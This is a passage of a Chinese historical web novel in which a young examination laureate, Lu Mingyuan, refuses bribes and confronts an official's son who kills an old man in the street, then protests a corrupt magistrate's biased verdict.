酒过三巡,菜过五味,赵浩然话锋一转,忽然关心起陆明渊的个人生活来。 “明渊啊,你如今也算是功成名就,前途无量。不知……可曾许过婚事?” 此言一出,一直安静侍立在陆明渊身后的若雪,端着茶壶的手指几不可查地一紧,眼帘微垂,脸色似乎白了一分。 陆明渊心中一动,面上却依旧是那副温和的笑容。 “回伯父,小侄年纪尚幼,如今满心只有学问与圣人之道,尚未考虑过儿女私情。” “哎,年纪小怕什么?” 赵浩然显然早有准备,兴致勃勃地说道。 “京城之中,名门闺秀不知凡几。吏部侍郎家的孙女,与你年岁相仿,知书达理。” “还有那内阁学士周大人的嫡亲孙女,琴棋书画样样精通……只要你点头,伯父豁出这张老脸,也能为你做个冰人!” 这已经不是简单的说媒,而是赤裸裸的政治联姻的邀约。 任何一个名字背后,都代表着一个庞大的势力。 只要陆明渊点头,他便能立刻与京城的核心权力圈,建立起最稳固的姻亲关系。 “伯父厚爱,小侄感激不尽。” 陆明渊缓缓放下筷子,神色郑重了几分。 “只是婚姻大事,父母之命,媒妁之言。家父家母尚在江陵,小侄不敢自专。且功名未定,实不敢分心他顾,辜负了圣上与恩师的期盼。” 他将父母、圣上、恩师一一搬了出来,话说得滴水不漏。 赵浩然深深地看了他一眼,见他神情坚定,不似作伪,便哈哈一笑,不再坚持。 “好!好!有志气!是伯父心急了。” 他举起杯,“既如此,那便等你大魁天下,再谈此事不迟!来,喝酒!” 从赵府离开时,已是月上中天。 赵浩然亲自将他送到府门口。 陆明渊心中感念,再次深施一礼,这才带着若雪,消失在清冷的月色里。 回到状元楼,楼内外的喧嚣早已散尽,只剩下伙计们在收拾残局。 见陆明渊回来,所有人都停下手中的活计,恭敬地躬身行礼,口称“陆会元”。 陆明渊一路颔首,回到三楼的雅间,刚想推门,却见掌柜的正等在门口,一脸的焦急与兴奋。 “陆会元!您可算回来了!小人等您多时了!” 掌柜的说着,便侧身让开,请陆明渊入内。 房间里,张孝纯与李慕白已经睡下,若雪识趣地退到门外守着。 掌柜的从怀里取出一个厚厚的红封,又从袖中摸出几张银票,一并放在桌上,小心翼翼地推到陆明渊面前。 “陆会元,这是三千两银子,不成敬意,还望您务必收下!” 他搓着手,激动地说道。 “今日托您的福,我们状元楼可是把魁首居的脸都踩到泥里去了!” “您是不知道,就这一天,咱们楼里未来的雅间,都预定到明年开春了!” “这名气一响,往后十年,不,二十年,京城里谁还记得魁首居?” “这三千两,是小店的一点心意,算是咱们的见面礼!” “您高中会元,给小店带来了天大的名气,这点银子,我们很快就能赚回来!您千万别跟小人客气!” 三千两白银,对于任何一个举子而言,都是一笔足以改变命运的巨款。 掌柜的以为,自己拿出如此诚意,这位少年会元定然会欣然接受。 然而,陆明渊只是静静地看着桌上的银票,随即,伸出手指,将它们又推了回去。 “掌柜的,心意我领了。但这银子,我不能收。” 掌柜的一愣,急道:“会元公,您这是嫌少?您放心,等殿试之后,您若是能大魁天下,小店另有重谢!” “掌柜的误会了。” 陆明渊摇了摇头,目光清澈如洗。 “我与状元楼,本是互惠互利。我借贵地落脚,贵店因我而扬名,两不相欠。” 他顿了顿,看着掌柜的,缓缓说道。 “不过,这三千两银子,我倒确有一用,不知掌柜的可愿帮我一个忙?” “您说!您说!只要小人能办到,万死不辞!”掌柜的连忙道。 陆明渊的指尖,在冰凉的桌面上轻轻敲击着,发出沉稳而有节奏的声响。 “掌柜的,你将这三千两银子留下。” “往后,若有来京赶考的寒门士子,囊中羞涩,住不起客栈,吃不饱饭,你就从这笔钱里,为他们开一间房,供几顿餐食。” “不必多好,能遮风避雨,能果腹充饥,便足够了。” 掌柜的彻底呆住了。 他张着嘴,难以置信地看着眼前这个神色淡然的少年,脑子里嗡的一声,一片空白。 他想过无数种可能,唯独没有想过这一种。 三千两! 这可是三千两白银啊! 他之前见陆明渊在诗会上随手捐出五百两,心中虽有敬佩,但也不免揣测。 这位少年神童或许是为了博一个“轻财好施”的美名。 毕竟五百两虽多,对于一个有爵位在身、前途无量的天才来说,换一个好名声,是笔划算的买卖。 可现在,这是三千两! 而且,听他的意思,竟是想做好事不留名? 若非自己经手,这件事,又有谁会知道? 他放弃的,是实实在在的三千两白银,换来的,可能只是几个穷书生日后虚无缥缈的感激! 这一刻,掌柜的心中那点商人的精明算计,被一种更为巨大的、名为“震撼”的情绪彻底击碎。 他忽然明白了。 眼前这个少年,他所图谋的,根本不是什么会元,什么状元,甚至不是金钱与名望。 他的胸中,装着的是另一片更为广阔的天地。 想到这里,掌柜的只觉得一股热血从脚底直冲头顶,他对着陆明渊,深深地,深深地鞠了一躬。 “陆会元……高义!” 他抬起头,眼眶竟有些泛红。 “您放心!小人……不,小人赵德全,今日在此立誓!” “这三千两银子,我分文不取,全部按您的吩咐,用在那些寒门学子身上!” 第170章 就算你爹是当朝首辅,也救不了 会试的尘埃落定,京城那沸腾的喧嚣也渐渐冷。 对于满城的士子而言,有人欢喜,自然就有人愁。 高中的人忙于交际应酬,为一个月后的殿试积攒人脉。 落第的人则黯然收拾行囊,或归乡重整旗鼓,或就此沉沦于京城的繁华与落寞之中。 陆明渊却像一个局外人。 赵浩然的家宴之后,他又陆续回绝了十几份来自各方权贵的请帖,将自己关在状元楼里,整日与张孝纯、李慕白等人读书清谈,日子过得清净而悠闲。 春日渐深,窗外的柳絮开始漫天飞舞,像是给这座厚重的京城披上了一层朦胧的白纱。 终日困于楼中,总觉得有些辜负了这大好春光。 “总是读书,也有些乏了。” 张孝纯放下手中的书卷,伸了个懒腰,望向窗外。 “听闻京郊西山红叶烂漫,潭柘寺的古刹钟声更是能洗涤人心。明渊,不如我们出去走走?” 陆明渊心中微动,点了点头。 “也好。读万卷书,行万里路。殿试之前,去看看这京畿之地的风土人情,或许对策论文章,也能有所裨益。” 众人一拍即合。 次日清晨,一辆宽敞的青布马车便停在了状元楼后门。 张孝纯与李慕白兴致勃勃,早已备好了些许酒水吃食。 陆明渊则依旧是一身寻常的士子常服,带着若雪,身后跟着五名护卫。 马车辚辚,缓缓驶出静谧的巷子,汇入了京城宽阔的街道。 “我们从东门出城,绕道凤凰台,再一路向西,如何?” 张孝纯掀开车帘,提议道。 “可。” 陆明渊应了一声,便闭目养神。 马车行至城东凤凰街道,这里是京中有名的销金窟,酒楼、茶坊、勾栏瓦舍林立,白日里也依旧人声鼎沸,热闹非凡。 车轮碾过青石板路,车内众人正感受着这与状元楼截然不同的市井烟火气。 一阵凄厉的哭喊与求救声,却像一根尖刺,猛地扎破了这繁华的表象。 “求求你们,放过我爹吧!求求你们了!” 是一个少女撕心裂肺的哭声,其中夹杂着男人们粗野的哄笑与拳脚闷响。 陆明渊的眉头瞬间皱起,那双原本平静无波的眸子里,闪过一丝寒意。 “老何,停车。” 他的声音不高,却带着不容置疑的命令。 车夫老何立刻勒住缰绳,马车稳稳停下。 不等陆明渊吩咐,那五名护卫已如鬼魅般悄无声息地下了车,呈扇形护在马车周围,目光警惕地望向声音来源处。 陆明渊与若雪等人也随之下车,顺着声音看去,只见街角的一处墙根下,正上演着一幕触目惊心的恶行。 七八个衣着光鲜、满脸横肉的纨绔子弟,正围着一个衣衫褴褛的老人拳打脚踢。 那老人早已被打得蜷缩在地,浑身是血,口中发出痛苦的呻吟。 旁边一个荆钗布裙的少女死死地抱着老人的头,口中不住地哀求。 而那群纨绔子弟的中央,一个手持折扇、面容倨傲的锦衣公子,正一脸不耐地看着这一切,仿佛在看戏剧。 周围的百姓远远地围观,却无一人敢上前,脸上满是畏惧与不忍。 “住手!” 一声厉喝,如平地惊雷,炸响在嘈杂的街头。 众人闻声望去,只见一个身形清瘦的少年,在一众彪悍护卫的簇拥下,正冷冷地看着他们。 那为首的锦衣公子,工部侍郎裴宽的独子裴少文,被这声呵斥打断了兴致,脸上闪过一丝不悦。 他漫不经心地转过头,本以为是哪个不长眼的官差,却发现只是一个十二三岁的少年。 他上下打量了陆明渊一番,见他衣着寻常,并非京中自己熟识的哪家权贵子弟,心中的警惕顿时化作了轻蔑。 再一瞥陆明渊身旁身姿亭亭、容貌绝美的若雪,他脸上露出了然的笑意。 只当陆明渊是哪个外地来的富家公子,想在美人面前逞能,博个彩头。 “哟,这是哪儿来的过江龙,也想管我裴少文的闲事?” 裴少文轻佻地摇着折扇,目光在若雪身上肆无忌惮地流转。 “怎么,想当着你这小美人儿的面,演一出英雄救美的好戏?” 他嘴角一撇,露出一抹残忍的笑意,忽然抬起脚,对着地上那老人的胸口,又是狠狠一脚踹了下去! “我今天,就是不放,你又能怎么样?” “噗——” 那老人本已是奄奄一息,受了这致命的一脚,身子猛地一弓,随即喷出一口鲜血,脑袋一歪,便再没了动静。 整个世界,仿佛在这一瞬间静止了。 “爹!爹——!” 少女发出一声杜鹃啼血般的悲鸣,抱着老人早已僵直的身体,哭得肝肠寸断。 裴少文却被这哭声搅得心烦,他皱起眉头,反手就是一巴掌,重重地扇在少女的脸上! “哭什么哭!晦气!再哭把你舌头割了!” “啪”的一声脆响,少女白皙的脸颊上瞬间浮起五道鲜红的指印。 她被打得跌倒在地,嘴角渗出血丝,却依旧死死地抱着父亲的尸体,眼中充满了绝望与仇恨。 “你!” 若雪那张常年冰封的脸上,第一次出现了如此剧烈的怒火。 她努克不饿冲了过去,蹲下身,伸出微颤的手指,探向那老人的鼻息。 片刻之后,她缓缓抬起头,对着陆明渊,轻轻地摇了摇。 死了。 一股冰冷彻骨的杀意,从陆明渊的身上弥漫开来。 他一步步走向前,那几个原本还在叫嚣的纨绔子弟,竟被他身上散发出的气势骇得不由自主地后退了一步。 陆明渊的目光没有看那些帮凶,而是死死地锁定了裴少文,声音平静得可怕。 “光天化日,京城脚下,你为何要痛下杀手?” 裴少文被他看得有些发毛,但旋即便被更大的狂傲所取代。 他可是工部侍郎的儿子,在这京城里,除了那寥寥几位皇子和顶尖勋贵的子弟,他怕过谁? “杀手?笑话!” 裴少文嚣张地用扇子指了指地上的尸体。 “这老东西欠了小爷我五十两银子还不上,说好了拿他女儿抵债,签了文书画了押的!” “今天我来领人,他却反悔,带着女儿想跑!” “小爷我最讨厌的就是这种出尔反尔的刁民,教训教训他,怎么了?” 他仿佛想到了什么极其可笑的事情,摊开手,对着周围的同伴道。 “你们都看到了,我不过是踹了他一脚,谁知道这老东西身子骨这么脆,自己不争气。” “一口气没上来,就这么冻死在街上了!这……跟我裴少文有什么关系!” “哈哈哈哈!” 他身后的那群纨绔子弟顿时爆发出一阵哄堂大笑,纷纷附和。 “就是!裴少说得对!这老东西是自己寻死,跟咱们有什么关系!” “欠债还钱,天经地义!拿女儿抵债,也是他自己愿意的!” “这叫畏罪自杀!对,就是畏罪自杀!” 无耻!卑劣! 张孝纯和李慕白气得脸色铁青,拳头捏得咯咯作响。 不远处少女抱着老人的尸体泣诉! “你撒谎,分明是你们逼迫阿公!” “阿公,阿公连名字都不会写,又怎会签字画押?” 陆明渊看着这群颠倒黑白、指鹿为马的恶棍,脸上的表情反而愈发平静。 他缓缓转过头,对李慕白说道:“慕白兄,劳烦你去一趟京兆府,报官。” 然后,他目光扫过裴少文以及他所有的同伴,一字一顿地说道。 “我与孝纯兄在此等着。官府的人来之前,谁也别想走。” “报官?” 裴少文像是听到了天大的笑话。 “小子,你是不是没睡醒?你知道我是谁吗?你报官?好啊,你去报!” “我倒要看看,这京兆府尹,是敢抓我,还是敢抓你这个妨碍公务的狂徒!” 说罢,他再也懒得理会陆明渊,转身便要登上自己那顶停在不远处的华丽轿子。 “想走?” 陆明渊的嘴角,勾起一抹冰冷的弧度。 他甚至没有开口,身后那五名护卫中的两人,便如离弦之箭,瞬间动了! 只听“轰!轰!”几声巨响,那两个护卫竟是连人带拳,直接撞向了那顶由上好楠木打造的轿子! 坚硬的轿壁在他们铁锤般的拳头下,如同纸糊的一般,瞬间四分五裂,木屑纷飞! 抬轿的四个轿夫吓得屁滚尿流,扔下轿杆四散奔逃。 而那两名护卫,则在一片狼藉中,一人一边,如同拎小鸡一般,将还没反应过来的裴少文从破碎的轿子里拖了出来,重重地摔在地上! 这一切发生在电光火石之间,快到所有人都没看清。 裴少文摔得七荤八素,身上的锦袍沾满了尘土,狼狈不堪。 他何曾受过这等羞辱,顿时又惊又怒地尖叫起来。 “反了!反了!你们敢动我!你们知道我爹是谁吗!” 他那群狐朋狗友也终于反应过来,一个个色厉内荏地叫嚣着。 “大胆!快放了裴少!” “你知道他是谁吗?” “你完了!你死定了!冲撞朝廷命官的公子,等同谋逆!” 陆明渊缓步走到被两名护卫死死按住、动弹不得的裴少文面前,居高临下地看着他,眼神里没有愤怒,只有一片深不见底的漠然。 “我不管你爹是谁。” “王子犯法,与庶民同罪。” “今日,你当街行凶,打死人命,就算你爹是当朝首辅,也救不了你。” 第171章 这世道,真是黑白颠倒! 裴少文被两名护卫死死按在地上,口鼻间尽是尘土与血腥混合的腥臊气。 他奋力挣扎,却感觉按住自己的那两只手,如同镣铐,纹丝不动。 那股深入骨髓的羞辱感,让他俊秀的面容扭曲得如同恶鬼。 “好……好大的口气!” 裴少文从牙缝里挤出几句话,声音都在发颤。 “你等着!你给小爷我等着!今天这事儿,没完!” 就在这时,街道的另一头,响起了一阵急促而杂乱的脚步声,伴随着衙役们开道的吆喝。 “京兆府办案!闲人避让!都让开!” 人群如潮水般向两边退去,留出一条通路。 只见李慕白气喘吁吁地跑在最前面,身后跟着十几个身穿皂服、腰挎佩刀的衙役,为首的是一个留着两撇鼠须、眼神活泛的府丞。 那府丞一眼就看到了此地的混乱景象。 四分五裂的华贵轿子,满地狼藉,以及被两个壮汉按在地上的锦衣公子,还有那具尚有余温的尸体。 他眉头一皱,正要喝问,目光却落在了裴少文那张涨成了猪肝色的脸上。 他心里咯噔一下,整个人瞬间矮了三分。 工部侍郎裴家的公子,裴少文! 这可是京城里有名的混世魔王,怎么会如此狼狈地被人按在地上? 府丞不及细想,也顾不上去看那死人,三步并作两步地冲了过去。 脸上瞬间堆满了谄媚的笑容,对着那两个按住裴少文的护卫厉声呵斥。 “大胆狂徒!你们是什么人?竟敢对裴公子无礼!还不快快放手!” 说着,他弯下腰,想要去扶裴少文,语气关切得像是见到了亲爹。 “哎哟,裴公子,您没事吧?这是哪个不长眼的狗东西,吃了熊心豹子胆,敢在太岁头上动土?” “您告诉下官,下官立刻将他拿下,扒了他的皮!” 裴少文见官府的人来了,而且一来就对自己卑躬屈膝,心中的底气瞬间又回来了。 他猛地一甩头,挣脱了府丞的手,怨毒的目光死死盯住陆明渊,尖声叫道。 “就是他!刘府丞,就是这个小子!他纵容家中恶奴,毁我轿舆,还想当街刺杀本公子!” “快,快把他们全都给我抓起来!关进大牢,用全套的酷刑给我审!我要让他们求生不得,求死不能!” “刺杀朝廷命官的公子?” 刘府丞闻言,脸色一变,这可是天大的罪名。 他猛地站直了身子,鼠须一抖,转头看向陆明渊。 “原来是你这狂徒!” 他大手一挥,对着身后的衙役们下令。 “还愣着干什么?此人意图行刺裴公子,罪大恶极!将他以及他所有同党,全部拿下!若有反抗,格杀勿论!” “喏!” 十几个衙役齐声应喝,如狼似虎地抽出腰间的铁尺锁链,便要扑上前来。 张孝纯和李慕白脸色大变,下意识地护在陆明渊身前。 “铿锵——” 一声清越的金属摩擦声,比所有人的动作都快。 那五名沉默如山的护卫,几乎在同一时间拔出了腰间的佩刀。 那不是衙役们手中粗陋的官刀,而是军中精锐才会配备的百炼横刀。 刀身狭长,在春日的阳光下,反射出森然的寒光,一股浓烈的血腥与杀伐之气,瞬间笼罩了整个街角。 正要前冲的衙役们,像是被一道无形的墙壁挡住,脚步戛然而止。 他们是京城的官差,平日里对付的不过是些地痞流氓,何曾见过这等从尸山血海里杀出来的真正煞气? 一个个脸色发白,握着刀柄的手都有些颤抖。 刘府丞也被这阵仗吓了一跳,但想到身后站着的是裴侍郎,顿时又壮起了胆子,色厉内荏地喝道。 “怎么?你们还敢拒捕造反不成?” 陆明渊轻轻拨开护在身前的张孝纯,迎着刘府丞的目光,缓缓向前走了一步。 他没有看那些衙役,也没有看叫嚣的刘府丞,只是平静地从袖中取出了一样东西。 那是一块温润的白玉牌,上面用古篆雕刻着祥云纹路,正中是两个清晰无比的大字——贡士。 “我是本届贡士,江陵县陆明渊。” 他的声音依旧平静,却像是一记重锤,狠狠地砸在了刘府丞的心口。 贡士! 而且是本届的! 刘府丞的瞳孔猛地一缩,脸上的嚣张气焰如同被戳破的气球,瞬间瘪了下去。 一个贡士,那就是准进士,是天子门生,是未来的朝廷官员! 殴打一个贡士,与殴打一个普通士子,性质截然不同! 尤其是在殿试之前这个敏感的时期,任何与科举相关的事情,都会被无限放大。 陆明渊将那枚玉牌在指尖轻轻转动,目光从刘府丞那张变幻不定的脸上,缓缓扫过他身后的每一个衙役,淡淡地说道。 “一个月后,便是殿试。我陆明渊年少,侥幸中了贡士,前程如何,尚不好说,大不了从头再来。” “今日之事,光天化日,人证物证俱在。” “若有人想仗势欺人,颠倒黑白,我不介意在金殿之上,赌上我这身功名,向当今陛下奏上一本。” 他顿了顿,嘴角勾起一抹若有若无的弧度,那弧度里,满是冰冷的嘲讽。 “刘大人,还有诸位差爷,你们不妨仔细想一想。” “你们的官帽,够不够硬,经不经得起我陆明渊,用一身前程来碰上这么一下?” 一番话,如同一盆冰水,从刘府丞的头顶浇到了脚底。 他怕了。 他真的怕了。 他只是京兆府一个不起眼的府丞,得罪了裴侍郎,前途堪忧。 可若是真的把这位新科贡士逼急了,让他成了第二个“叩阙案”的主角,在殿试上闹将起来。 皇帝为了维护科举的颜面,为了安抚天下士子之心,第一个要杀人平息的,就是他这种小角色! 裴侍郎或许会保他,但皇帝要杀他,裴侍郎也保不住! 冷汗,顺着他的额角涔涔而下。 周围的衙役们更是面面相觑,一个个把头埋得更低,谁也不敢再上前一步。 整个场面,陷入了一种诡异的寂静。 裴少文也懵了,他虽然纨绔,却不是傻子。 贡士的分量,他比谁都清楚。 他没想到,这个看起来比自己还小几岁的少年,竟然是本届的贡士! “既然裴公子说我行刺,我说他杀人,此地并非公堂,争辩无益。” 陆明渊见火候已到,便主动给了个台阶。 “便请刘大人将我等一并带回京兆府,升堂审理。” “是非曲直,自有国法公论。我相信,京兆府尹大人,定能明察秋毫,还死者一个公道,也还我一个清白。” “对对对!回府衙!回府衙再说!” 刘府丞如蒙大赦,连连点头,擦着额头的冷汗,总算找到了一个两边都不得罪的法子。 他一挥手,对着手下喝道:“都还愣着干什么!将所有涉案人等,一并带回府衙,听候府尹大人发落!” 这一次,衙役们的动作“客气”了许多。 他们收起了锁链,只是分列两旁,做出一个“请”的手势,算是“押送”。 裴少文也被那两名护卫松开,他狼狈地从地上爬起来。 他拍了拍身上的尘土,恶狠狠地瞪了陆明渊一眼,却终究没敢再放什么狠话。 若雪扶起那个早已哭得没了力气的少女,让她靠在自己身上。 自有衙役抬来简陋的担架,将那老人的尸体盖上白布,抬了起来。 一行人,就这么在无数百姓复杂的目光注视下,浩浩荡荡地朝着京兆府的方向走去。 街道上的人群缓缓跟在后面,议论纷纷。 陆明渊走在队伍中间,神色平静,仿佛只是一个无关的看客。 他不动声色地对身旁的李慕白低声说道。 “慕白兄,此事恐怕不会善了。裴宽在朝中党羽众多,京兆府尹未必会秉公处理。” 李慕白忧心忡忡地点头:“那我们该如何?” “劳烦你,立刻去一趟大理寺。” 陆明渊的声音压得极低,却字字清晰。 “将此间发生的一切,一字不差,原原本本地告知大理寺卿,赵浩然赵大人。” 李慕白眼中精光一闪,瞬间明白了陆明渊的用意。 京兆府管不了,那就让大理寺来管!他重重地点了点头:“明渊放心,我这就去!” 说罢,他悄无声息地脱离了队伍,转身挤入人群,很快便消失不见。 从凤凰街到京兆府衙门,要穿过大半个东城。 这一路行来,动静不小,很快便吸引了更多人的注意。 其中,不乏许多滞留在京城,等待殿试放榜的各地士子。 当他们看清被衙役“簇拥”在中间的那个人时,人群中顿时响起了一片压抑不住的惊呼。 “那……那不是会元公陆明渊吗?” “是他!我曾在杏园宴上远远见过一面,就是会元公!” “他怎么会和京兆府的人走在一起?还抬着一具尸体……发生了什么事?” “听说是为了救一个老丈,跟工部侍郎的公子裴少文起了冲突!那老丈,好像被裴少文当街打死了!” “什么?当街行凶,打死人命?还有没有王法了!” “会元公这是路见不平,拔刀相助啊!却被官府的人带走……这世道,真是黑白颠倒!” 一石激起千层浪。 陆明渊是本届会元,是天下读书人的表率,他的名声早已传遍了整个京城士林。 如今,这位士林领袖,竟因为行侠义之事,而身陷囹圄,这如何能不让同为读书人的他们感到义愤填膺! 消息像长了翅膀一样,在京城的士子圈子里飞速传播。 越来越多的士子从各处的客栈、酒楼、会馆里涌上街头,默默地跟在了队伍的后面。 他们没有喧哗,没有闹事,只是用沉默的跟随,表达着自己的态度。 那汇聚而来的人流,从几十人,到上百人,再到数百人。 众人形成了一股无声的洪流,跟在京兆府的队伍之后,朝着府衙的方向,缓缓移动。 陆明渊走在前面,听着身后那越来越密集的脚步声,感受着那一道道汇聚在自己背上的、充满了关切与激愤的目光。 他知道,自己想要的东西,来了。 他缓缓抬起头,望向远处那灰蒙蒙的天空。 春日正午的阳光,似乎也无法穿透京城上空那层无形的阴霾。 他的嘴角,却勾起了一抹极其细微,却又无比坚定的弧度。 裴少文,裴侍郎……你们想用权势压人? 那我就用这天下悠悠众口,用这天下士子的人心,来跟你们斗一斗。 第172章 本官判决已下,可有人不服? 京兆府衙门那两扇朱漆大门,在众人面前轰然洞开。 门内是深邃的院落,飞檐翘角,气象森严,几株老槐的枝丫伸出墙头,沉默地注视着这涌动的人潮。 刘府丞领着一行人进去,那数百名跟来的士子却被拦在了门外。 他们没有鼓噪,没有冲击,只是静静地站在那里。 陆明渊等人被带到了偏厅等候,而京兆府尹王文成,早已在他的书房内,听着心腹师爷的紧急禀报。 “大人,事情就是这么个事情……工部侍郎家的裴公子,当街与人起了冲突,死了一个老头。” “另一方,是……是本届的会元,陆明渊。” 师爷的声音压得极低,语气里满是凝重。 “麻烦的是,那陆会元似乎在士林中声望极高。” “他这一路过来,后面跟了少说也有三四百名士子,如今都堵在府衙门口,人还在不断增多。” “这……这眼看着是要闹出民变的架势啊!” 王文成身着一袭石青色常服,年近五旬,面容清癯。 两道法令纹深深刻在嘴角,让他看起来比实际年龄更显威严。 他端着茶盏的手停在半空,眉头紧紧锁成了一个“川”字。 一个侍郎公子,一个新科会元。 一个是盘根错节的京城权贵,一个是清流瞩望的未来之星。 这案子,就像一块滚烫的山芋,烫得他心头发慌。 裴侍郎裴宽,在朝中是出了名的护短,又是严党羽翼,轻易得罪不得。 可这陆明渊,会试第一,天子门生中的领头羊,背后站着的是天下读书人的人心。 尤其是在殿试之前这个节骨眼上,任何处置不当,都可能掀起滔天巨浪。 御史的弹劾奏章能把他活活淹死。 “大人,您看这……” 师爷试探着问道。 王文成放下茶盏,发出“叮”的一声脆响。 他沉吟不语,手指在桌案上轻轻叩击,一下,又一下,敲得师爷心惊肉跳。 就在这时,一名长随从门外快步而入,躬身递上一张素雅的拜帖,低声道。 “大人,裴府刚刚派人送来的,说是裴夫人请您安。” “还说,还说……公子爷年少不懂事,若有冲撞之处,还请王大人看在侍郎大人的薄面上,照看一二。” 这话说的客气,却字字都透着一股不容置疑的压力。 王文成接过拜帖,甚至没有打开,只是用指尖摩挲着那微凉的纸面。 他心中的天平,在这一瞬间,彻底倾斜了。 得罪士子,最多是惹一身骚,风头过去,皇帝为了朝局安稳,未必会深究。 可若是得罪了裴侍郎,得罪了严党,他这京兆府尹的官帽,恐怕明天就得换人来戴。 他缓缓闭上眼睛,再睁开时,眼中那最后一丝犹豫已经消失不见,只剩下官场浸淫多年的冰冷与决绝。 “知道了。” 他淡淡地说道、 “传令下去,升堂。” “是,大人。” 师爷心中了然,躬身退下。 …… “威——武——” 两排衙役手持水火棍,用力顿地,发出沉闷而整齐的声响。 京兆府大堂之内,气氛肃杀。 王文成换上了一身绣着獬豸的官袍,端坐于公案之后,面沉似水。 他猛地一拍惊堂木,发出“啪”的一声脆响,整个大堂都为之一静。 “升堂!” “带人犯!” 陆明渊、裴少文,以及那名行凶的护卫,连同作为人证的若雪和那名少女,一并被带到了堂下。 王文成目光如电,扫视一圈,最后落在裴少文和陆明渊身上,沉声喝道。 “堂下众人,所为何事?从实招来!” 陆明渊上前一步,对着公案长身一揖,声音清朗,不卑不亢。 “启禀府尹大人,学生陆明渊。” “今日午时,于凤凰街亲眼目睹裴公子当街强抢民女,更行凶杀人,将这位姑娘的祖父活活打死。” “学生为阻其行凶后逃逸,情急之下,才命家中护卫拦下其轿舆。” “冲突之中,致其轿舆损毁,学生愿照价赔偿。” 他顿了顿,语气转厉,掷地有声。 “但,学生恳请府尹大人明察秋毫,严惩凶徒,追究其强抢民女、当街杀人之滔天大罪,还死者一个公道!” 一番话说得条理清晰,字字铿锵。 堂外旁听的百姓和远远观望的士子们,都忍不住暗暗点头。 王文成面无表情地点了点头,目光转向另一边的裴少文,语气平淡地问道。 “裴少文,陆明渊所言,你可有要反驳之处?” 裴少文从地上爬起来后,早已换上了一副阴戾而倨傲的神情。 他嗤笑一声,整理了一下有些凌乱的衣袍,上前一步,脸上竟没有半分畏惧。 “回大人,事实并非陆明渊所说的那样!” 他从袖中摸出一张皱巴巴的纸,呈了上去。 “大人请看,这上面白纸黑字,写得清清楚楚。” “我并非强抢民女,而是这少女的祖父,那个叫王老头儿的,亲手画押,自愿以五十两纹银,将他孙女卖与我为婢,此乃契约!” 衙役将那“契约”呈上,王文成拿起来看了一眼,便放在了一旁。 裴少文继续说道:“至于什么当街行凶杀人,更是无稽之谈!” “是那王老头收了我的银子,却又出尔反尔,不仅不肯交人,还想昧下我的五十两银子!” “是他欺诈在先!我的护卫不过是想与他理论,拉扯之间,他自己老眼昏花,脚下不稳,一头撞在了旁边的石柱上,这才一命呜呼!这关我何事?” 他摊了摊手,一脸无辜地说道。 “此事,最多算是个过失伤人致死。我裴少文也不是不讲道理的人,愿意赔偿些银两。” “我的护卫,也愿意依照大乾律法,接受刑罚!” 这番颠倒黑白的说辞,顿时让堂下响起一片压抑不住的哗然。 “肃静!” 王文成又是一拍惊堂木,堂下瞬间安静下来。 他看向那名被单独拎出来的护卫,厉声问道:“裴少文所言,是否属实?” 那护卫身体抖得如同筛糠,他看了一眼面色阴冷的裴少文,嘴唇哆嗦着,说不出话来。 裴少文冷哼一声,悠悠地开口,声音不大,却清晰地传遍了整个公堂。 “本公子记得,大乾律,过失杀人,并非死罪,至多……不过是仗刑一百,流放三千里罢了。人总要为自己做的事负责,对吧?” 这话,既是说给王文成听,更是说给那护卫听。 仗刑一百,流放三千里,虽然痛苦,但终究能保住一条命。 可若是说了实话,得罪了裴家,怕是连明天的太阳都见不到了。 那护卫浑身一颤,像是下定了某种决心,猛地叩首在地,嘶声道。 “回……回大人!公子说的句句属实!是……是小人一时失手,不小心推了那老头一下。” “他……他就自己撞死了!是小人过失杀人,小人愿……愿意领罪!” “好!” 王文成等的就是这句话。 他猛地一拍惊堂木,声音陡然拔高,带着一股不容置疑的威严,沉声喝道。 “此案已经明了!” “王老头贪图钱财,与裴少文签订非法之契,卖孙为婢,此契约有违人伦,不成立!其后又出尔反尔,毁约在先,实属有错!” “其孙女之祖父王老头之死,乃护卫过失所为,并非故意行凶。” “鉴于王老头毁约欺诈在先,且年事已高,体弱多病,其死因复杂。护卫虽有过,但情有可原!” “至于陆明渊!” 王成文的目光如刀子般射向陆明渊。 “你身为本届会元,未来的国之栋梁,不明真相,不问缘由,便纵容家中恶奴,禁锢朝廷命官公子之自由。” “更暴力摧毁其车轿,行事莽撞,手段粗暴,实在有辱斯文!” 他拿起签筒中的令签,重重往地上一掷! “本官宣判!行凶护卫,念其并非主观故意,杖责八十,以儆效尤!”、 “裴少文虽有诱买之行,但契约未成,念其主动赔偿,不予追究!” “陆明渊!判你赔偿裴少文车轿损毁之费纹银三百两!并立刻当堂向裴少文赔礼道歉,以消弭影响!” 判决一出,满堂皆惊! 这哪里是审案,这分明就是一场赤裸裸的偏袒! 黑的被说成了白的,死的成了活该,见义勇为的反而成了罪人! 王文成判完,环视堂下,声色俱厉地喝道:“本官判决已下,可有人不服?” 裴少文脸上露出得意的狞笑,他对着王文成拱了拱手,高声道。 “府尹大人明察秋毫,学生心服口服!” 那名领罪的护卫也连连叩头:“小人服!小人服!” 王文成的目光,最后落在了那个早已哭得瘫软在地,由若雪搀扶着的少女身上。 裴少文顺着他的目光看去,嘴角勾起一抹阴冷的笑意,他缓步走到少女面前,居高临下地说道。 “小姑娘,人死不能复生,节哀顺变。你可要想清楚了,家中可还有什么亲人需要挂念?” “若是有,你放心,本公子不是小气的人,自会派人好生‘照顾’,也会给你祖父一份丰厚的赔偿。” “照顾”二字,他咬得极重。 少女浑身一颤,她想到了家中还有一位年迈多病、卧床不起的祖母。 如果自己再不屈服,那唯一的亲人,恐怕也将…… 绝望的泪水从她空洞的眼中滑落。 她看着地上那具被白布覆盖的祖父遗体,心中最后一点反抗的勇气,正在被寸寸碾碎。 她张了张嘴,似乎就要说出那个“服”字。 整个大堂,死一般的寂静。 所有人都看着这一幕。 看着公理被践踏,看着正义被扭曲,看着一个无辜的少女,即将在权势的淫威之下,被迫咽下血泪。 就在这令人窒息的沉默中,一个清越而坚定的声音,如同惊雷一般,骤然炸响在所有人的耳边。 陆明渊上前一步,对着那高高在上的公案,对着那满脸威严的京兆府尹,一字一顿地说道。 “学生不服!” 第173章 字字泣血,句句诛心! 学生不服! 这四个字,如同一道惊雷,在森严肃杀的京兆府大堂之内轰然炸响。 它不高,却穿透了堂上堂下所有人的耳膜,震得那高悬的“明镜高悬”牌匾,似乎都微微晃动了一下。 那瘫软在地的少女停止了哭泣,空洞的眼神里燃起了一缕微弱的火苗。 那名准备领罪的护卫,身体僵硬如铁,叩首的动作停在了半途。 